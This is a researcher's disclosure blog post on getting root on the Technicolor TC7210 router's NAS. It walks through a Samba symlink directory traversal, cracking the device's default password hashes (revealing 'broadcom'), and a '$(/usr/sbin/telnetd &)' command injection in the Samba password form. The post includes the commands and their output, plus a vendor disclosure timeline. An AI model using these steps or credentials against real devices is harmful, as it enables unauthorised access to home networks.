Rooting the Technicolor 7210

The Technicolor 7210 home router is a powerful little device. It provides 1Gbps Ethernet, dual-band wireless for speeds ranging from 300Mbps to 1300Mbps, and Network Attached Storage (NAS) for file sharing and media streaming.

I was able to confirm that two of the bugs (path transversal and remote code execution) highlighted in this blog post have been fixed by Technicolor. The other bug (weak credentials) I’m unable to validate as it depends on the remote code execution. Disclosure timeline can be found at the end of the blog post.

The Basic Principle

To get root in any network appliance, the first step is to get remote code execution (RCE). Getting RCE isn’t the same as getting root access, but it does happen, since there is a tendency in network appliances to run everything in the context of the root user.

If that isn’t the case and the commands executed are under the context of an unprivileged user, the next step after obtaining RCE is to find a way to escalate privileges. Usually that can be done by leveraging badly configured permissions, kernel exploits, etc.

One of the first place to start looking for RCE, is in the diagnostic functionalities of the appliance. Network appliances usually offer (at least) ping based diagnostic functionality. In the case of the TC7210, it offers ping and ftp. As such, that was where I focused my initial efforts.

After checking both diagnostic pages and failing miserably, I decided to go back to basics by looking for known vulnerabilities in the software stack of the router.

Ping diagnostic page — The router ping diagnostic page.

What To Try Next

Scanning the router IP address didn’t yield interesting results but on the other hand, scanning the IP address attributed to the NAS functionality proved to be a lot more interesting.

 1#!/bin/bash
 2nmap -sS -T4 192.168.100.206 -PN -sV
 3# Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-03 09:48 CEST
 4# Nmap scan report for 192.168.100.206
 5# Host is up (0.029s latency).
 6# Not shown: 996 closed ports
 7# PORT    STATE SERVICE     VERSION
 8# 21/tcp  open  ftp         BusyBox ftpd (D-Link DCS-932L IP-Cam camera)
 9# 80/tcp  open  http        BusyBox httpd 1.13
10# 139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
11# 445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
12# MAC Address: 08:95:2A:80:24:67 (Technicolor CH USA)
13# Service Info: OS: Linux; Device: webcam; CPE: cpe:/h:dlink:dcs-932l, cpe:/o:linux:linux_kernel
14#
15# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
16# Nmap done: 1 IP address (1 host up) scanned in 12.96 seconds

Samba is a software that provides file and printer sharing using SMB/CIFS protocol. It has become a very important component to integrate Linux/Unix based systems into Windows based environments. Samba has had its fair share of vulnerabilities, so I decided to investigate it further.

 1#!/bin/bash
 2nmap -p 445 192.168.100.206 --script smb-os-discovery
 3# Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-03 09:53 CEST
 4# Nmap scan report for 192.168.100.206
 5# Host is up (0.0031s latency).
 6#
 7# PORT    STATE SERVICE
 8# 445/tcp open  microsoft-ds
 9# MAC Address: 08:95:2A:80:24:67 (Technicolor CH USA)
10#
11# Host script results:
12# | smb-os-discovery:
13# |   OS: Unix (Samba 3.0.37)
14# |   NetBIOS computer name:
15# |   Workgroup: WORKGROUP\x00
16# |_  System time: 2018-06-03T08:41:51+00:00
17#
18# Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds

It was possible to discover that the router uses Samba in its version 3.0.37. This version is vulnerable to CVE-2010-0926. This vulnerability happens because the default configuration of smbd, allows a remote authenticated user to leverage directory traversals to access arbitrary files. To do that the user only needs to create a symbolic link (i.e. shortcut) on a writable share.

Exploiting The Flaw

After connecting a USB drive in the router and configuring a file share called test, I connected using the smbclient utility and by using its symlink command to create a symbolic link to the root directory I was able to confirm that the NAS Samba installation is indeed vulnerable.

 1#!/bin/bash
 2smbclient \\\\192.168.100.10\\test -N
 3# Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.37]
 4# Server not using user level security and no password supplied.
 5# smb: \> symlink ../../../ root
 6# smb: \> ls
 7#   .                                   D        0  Sun Oct 30 10:45:18 2016
 8#   ..                                  D        0  Sun Oct 30 10:44:13 2016
 9#   lost+found                          D        0  Sun Oct 30 10:29:58 2016
10#   root                                D        0  Wed Mar  4 06:43:12 2015
11#
12#                 7782036 blocks of size 1024. 7369340 blocks available
13# smb: \> cd root\
14# smb: \root\> ls
15#   .                                   D        0  Wed Mar  4 06:43:12 2015
16#   ..                                  D        0  Wed Mar  4 06:43:12 2015
17#   CVS                                 D        0  Wed Mar  4 06:29:42 2015
18#   bin                                 D        0  Wed Mar  4 06:43:12 2015
19#   dev                                 D        0  Wed Mar  4 06:43:18 2015
20#   etc                                 D        0  Wed Mar  4 06:43:12 2015
21#   lib                                 D        0  Wed Mar  4 06:43:12 2015
22#   mnt                                 D        0  Thu Jan  1 01:00:30 1970
23#   tmp                                 D        0  Sun Oct 30 10:44:15 2016
24#   sys                                 D        0  Thu Jan  1 01:00:00 1970
25#   var                                 D        0  Sun Oct 30 08:52:58 2016
26#   usr                                 D        0  Wed Mar  4 06:37:30 2015
27#   data                                D        0  Wed Mar  4 06:43:11 2015
28#   init                                A   526180  Wed Mar  4 06:43:12 2015
29#   proc                               DR        0  Thu Jan  1 01:00:00 1970
30#   sbin                                D        0  Wed Mar  4 06:42:03 2015
31#   linuxrc                             A   526180  Wed Mar  4 06:43:12 2015
32#
33#                 7782036 blocks of size 1024. 7369340 blocks available

I proceeded to download the entire file system. One thing that I noticed, was that the file system didn’t contain any file related with the router web management interface (e.g. images, web pages, etc.) I assumed that was related with the fact that the user context in which the smbd daemon was running didn’t have the permission to access those files.

Weak Credentials

Not lingering too much on that, I decided to investigate what credentials I could find on the file system dump. As can be seen bellow, it was quite easy to crack the passwords found, they are quite simple and reused across all user accounts.

 1#!/bin/bash
 2cat etc/passwd
 3# root:OgKnQyJxrFabg:0:0:root:/:/bin/sh
 4# admin:pM3SFcK2.v1rk:0:0:Administrator:/:/bin/false
 5# support:DhsvlEFjJIDO2:0:0:Technical Support:/:/bin/false
 6# user:el3H9xuqK1naE:0:0:Normal User:/:/bin/false
 7# nobody:28nxEPGl5Ifik:1:0:nobody for ftp:/:/bin/false
 8
 9wc -l passwords.txt
10# 38633349 passwords.txt
11
12john --wordlist=passwords.txt etc/passwd
13# Loaded 5 password hashes with 5 different salts (Traditional DES [128/128 BS AVX-16])
14# broadcom         (nobody)
15# broadcom         (admin)
16# broadcom         (root)
17# broadcom         (support)
18# broadcom         (user)
19# guesses: 5  time: 0:00:00:03 DONE (Sun Oct 30 12:01:38 2016)  c/s: 13902K  trying: BRITGIRL - brokosz
20# Use the "--show" option to display all of the cracked passwords reliably
21
22cat etc/group
23# root::0:root,admin,support,user
24
25cat etc/samba/smbpasswd
26# admin:0:F0D412BD764FFE81AAD3B435B51404EE:209C6174DA490CAEB422F3FA5A7AE634:[U          ]:LCT-5815A6F4:
27
28john --wordlist=passwords.txt --format=nt etc/samba/smbpasswd
29# Loaded 1 password hash (NT MD4 [128/128 X2 SSE2-16])
30# admin            (admin)
31# guesses: 1  time: 0:00:00:00 DONE (Sun Oct 30 12:15:04 2016)  c/s: 9581K  trying: Admiller0 - !@#admin
32# Use the "--show" option to display all of the cracked passwords reliably

The next step was to focus on the binaries present on the file system. The following binaries seemed interesting (i.e. not Busybox related): mscapp, smbapp, setappsver, remoteapi, rpc_test_client and rpc_test_server.

The Holly Grail

From all the strings dumped from these binaries, the string (echo %s; echo %s) |/bin/smbpasswd -as admin stood out. Taking into account the name of the application that contained it, smbapp, it was clear that this binary is the one that is used to manage the NAS file sharing functionality.

Breaking down the commands in that string we have:

At least the first %s must be replaced by a password.
This password is then echoed to the output.
That output is then piped to the smbpasswd command.
The smbpasswd comand changes the Samba admin user password with the one supplied.

If no filtering is involved, replacing %s with a user supplied password (very high probability of this happening) makes this functionality vulnerable to command injection by using the $(<insert command to run>) vector. To test if this was true, I navigated to the web page that allows a user to change the Samba administrator user password and submitted in both password fields the $(/usr/sbin/telnetd &) string.

Changing administrator password — Changing the file share administrator password.

After submiting the form, I was able to confirm that the functionality is indeed vulnerable to RCE as the connection using a Telnet client was successful and the credentials found before (i.e. user root and password broadcom) were valid.

 1#!/bin/bash
 2telnet 192.168.100.10
 3# Trying 192.168.100.10...
 4# Connected to 192.168.100.10.
 5# Escape character is '^]'.
 6# (none) login: root
 7# Password:
 8#
 9#
10# BusyBox v1.19.3 (2015-03-04 13:37:03 CST) built-in shell (ash)
11# Enter 'help' for a list of built-in commands.
12#
13# ~ #

Conclusions

Rummaging through the file system once again, I was unable to find any files related with the router management web interface (very strange since now I was connected with the root user).

After searching the Internet for answers, I found out that the TC7210 is a dual Operative System (OS) network appliance. For the network functionality, it uses the eCos real-time OS, and for the NAS functionality, it uses an embedded Linux based OS. I was able to get root access on the latter.

  1#!/bin/bash
  2uname -a
  3# Linux (none) 2.6.30-1.0.10mp3 #1 SMP Wed Mar 4 13:36:40 CST 2015 mips GNU/Linux
  4
  5cat /proc/cpuinfo
  6# system type             : BCM3384 Cable Modem
  7# processor               : 0
  8# cpu model               : Broadcom BMIPS5000 V1.1  FPU V0.1
  9# BogoMIPS                : 667.64
 10# wait instruction        : no
 11# microsecond timers      : yes
 12# tlb_entries             : 64
 13# extra interrupt vector  : yes
 14# hardware watchpoint     : no
 15# ASEs implemented        :
 16# shadow register sets    : 1
 17# core                    : 0
 18# VCED exceptions         : not available
 19# VCEI exceptions         : not available
 20#
 21# processor               : 1
 22# cpu model               : Broadcom BMIPS5000 V1.1  FPU V0.1
 23# BogoMIPS                : 502.78
 24# wait instruction        : no
 25# microsecond timers      : yes
 26# tlb_entries             : 64
 27# extra interrupt vector  : yes
 28# hardware watchpoint     : no
 29# ASEs implemented        :
 30# shadow register sets    : 1
 31# core                    : 0
 32# VCED exceptions         : not available
 33# VCEI exceptions         : not available
 34
 35cat /proc/meminfo
 36# MemTotal:         124304 kB
 37# MemFree:           94916 kB
 38# Buffers:             304 kB
 39# Cached:             6232 kB
 40# SwapCached:            0 kB
 41# Active:            16596 kB
 42# Inactive:           2584 kB
 43# Active(anon):      12916 kB
 44# Inactive(anon):        0 kB
 45# Active(file):       3680 kB
 46# Inactive(file):     2584 kB
 47# HighTotal:             0 kB
 48# HighFree:              0 kB
 49# LowTotal:         124304 kB
 50# LowFree:           94916 kB
 51# SwapTotal:             0 kB
 52# SwapFree:              0 kB
 53# Dirty:                 0 kB
 54# Writeback:             0 kB
 55# AnonPages:         12664 kB
 56# Mapped:             4056 kB
 57# Slab:               7764 kB
 58# SReclaimable:       2860 kB
 59# SUnreclaim:         4904 kB
 60# PageTables:          248 kB
 61# NFS_Unstable:          0 kB
 62# Bounce:                0 kB
 63# WritebackTmp:          0 kB
 64# CommitLimit:       62152 kB
 65# Committed_AS:      16136 kB
 66# VmallocTotal:    1015800 kB
 67# VmallocUsed:        1484 kB
 68# VmallocChunk:    1013560 kB
 69
 70ifconfig -a
 71# eth0      Link encap:Ethernet  HWaddr 08:95:2A:80:24:67
 72#           inet addr:192.168.178.10  Bcast:192.168.178.255  Mask:255.255.255.0
 73#           inet6 addr: fe80::a95:2aff:fe80:2467/64 Scope:Link
 74#           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
 75#           RX packets:4542 errors:0 dropped:0 overruns:0 frame:0
 76#           TX packets:4869 errors:0 dropped:0 overruns:0 carrier:0
 77#           collisions:0 txqueuelen:1000
 78#           RX bytes:387893 (378.8 KiB)  TX bytes:838039 (818.3 KiB)
 79#
 80# ifb0      Link encap:Ethernet  HWaddr 62:38:09:11:E8:0A
 81#           BROADCAST NOARP  MTU:1500  Metric:1
 82#           RX packets:0 errors:0 dropped:0 overruns:0 frame:0
 83#           TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
 84#           collisions:0 txqueuelen:32
 85#           RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
 86#
 87# ifb1      Link encap:Ethernet  HWaddr 2A:1B:73:B3:FF:12
 88#           BROADCAST NOARP  MTU:1500  Metric:1
 89#           RX packets:0 errors:0 dropped:0 overruns:0 frame:0
 90#           TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
 91#           collisions:0 txqueuelen:32
 92#           RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
 93#
 94# lo        Link encap:Local Loopback
 95#           inet addr:127.0.0.1  Mask:255.0.0.0
 96#           inet6 addr: ::1/128 Scope:Host
 97#           UP LOOPBACK RUNNING  MTU:16436  Metric:1
 98#           RX packets:3 errors:0 dropped:0 overruns:0 frame:0
 99#           TX packets:3 errors:0 dropped:0 overruns:0 carrier:0
100#           collisions:0 txqueuelen:0
101#           RX bytes:114 (114.0 B)  TX bytes:114 (114.0 B)
102#
103# sit0      Link encap:IPv6-in-IPv4
104#           NOARP  MTU:1480  Metric:1
105#           RX packets:0 errors:0 dropped:0 overruns:0 frame:0
106#           TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
107#           collisions:0 txqueuelen:0
108#           RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

I was quite suprised at the specifications of the NAS part of the router. With the CPU it boasts amount of available memory and storage, there is the possibility to run some more software on it (e.g. VPN, Torrent, etc.) If one is wiling to cross-compile them.

Hope this has been interesting and insightful!

Disclosure Timeline

2016-12-02: First reported issues to Ziggo
2016-12-09: Asked for an update
2016-12-12: Received reply confirming the bugs, and that the first and third bug were already fixed in next modem firmware. I confirmed the dates for coordinated disclosure, and agreed to test the beta of the new firmware
2016-12-16: Received information that the beta firmware was ready
2016-12-17: Installed the beta firmware but the modem malfunctioned
2016-12-19: The malfunction was fixed and I was able to confirm that the third bug (RCE) had been fixed while the two first bugs hadn't.
2017-01-17: Asked for an update
2017-02-01: Received update "(...) issues are logged by Technicolor and will be further investigated and will be resolved in the final release. (...) A broad indication will be Q1 2017. As soon as we have news we come back to you, you hear nothing remember us please"
2017-02-07: Requested the router to be reverted to the latest stable version
2017-02-08: Modem reverted back to the original firmware
2017-08-08: Asked for an update on and explained that the details were going to be released as more than six months had passed, got no reply
2018-06-03: Released details through this blog post
2018-06-04: Technicolor contacted me requesting further assurance that the bugs had been properly fixed and to contact them as well for future bugs I might find.
2018-06-04: Ziggo contacted me requesting further assurance that the bugs had been properly fixed and apologized for not responding

June 3, 2018
Exploit, Linux, Hardware Hacking, Reverse Engineering
Technicolor, Passwords, SOHO